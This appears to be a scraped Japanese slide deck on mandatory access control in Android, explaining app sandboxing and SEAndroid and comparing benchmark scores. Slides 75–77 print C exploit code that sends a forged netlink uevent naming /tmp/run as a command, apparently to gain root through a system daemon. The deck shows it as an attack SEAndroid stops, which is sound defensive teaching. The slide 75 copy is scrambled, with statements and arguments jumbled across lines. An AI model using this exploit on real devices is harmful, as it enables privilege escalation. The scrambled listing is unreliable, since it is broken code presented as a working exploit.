More Related Content
Similar to Androidにおける強制アクセス制御
Similar to Androidにおける強制アクセス制御 (20)
More from Hiromu Yakura (14)
Androidにおける強制アクセス制御
- 24. サンドボックス
AppID 1 AppID 2
パーミッション パーミッション
SMS Internet
電話帳 GPS
Android OS
- 25. サンドボックス
AppID 1 AppID 2
パーミッション パーミッション
SMS Internet
電話帳 GPS
Android OS
- 75. SEAndroidの有効事例
Exploitコード
int main(int argc, char **argv)
{
int sock;
char *mp;
char message[4096];
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;
memset(&address, 0, sizeof(address));
address.nl_familyatoi(argv[1]);
address.nl_pid = = AF_NETLINK;
address.nl_groups (void*)&address;
msg.msg_name = = 0;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
sock = socket(AF_NETLINK, *) &address, sizeof(address));
bind(sock, (struct sockaddr SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
mp = message;
mp += sprintf(mp, "SUBSYSTEM=block") ++ 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
iovector.iov_base = (void*)message;
iovector.iov_len&msg, 0);
sendmsg(sock, = (int)(mp-message);
close(sock);
return 0;
}
- 76. SEAndroidの有効事例
Exploitコード
struct sockaddr_nl address;
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
struct msghdr msg;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
- 77. SEAndroidの有効事例
Exploitコード
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));
mp = message;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
- 85. SEAndroidの実用性
Normal SEAndroid
CPU: 5661 CPU: 5558
Memory: 1804 Memory: 1756
I/O: 3533 I/O: 1658
2D: 346 2D: 269
3D: 1526 3D: 1024
Editor's Notes
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n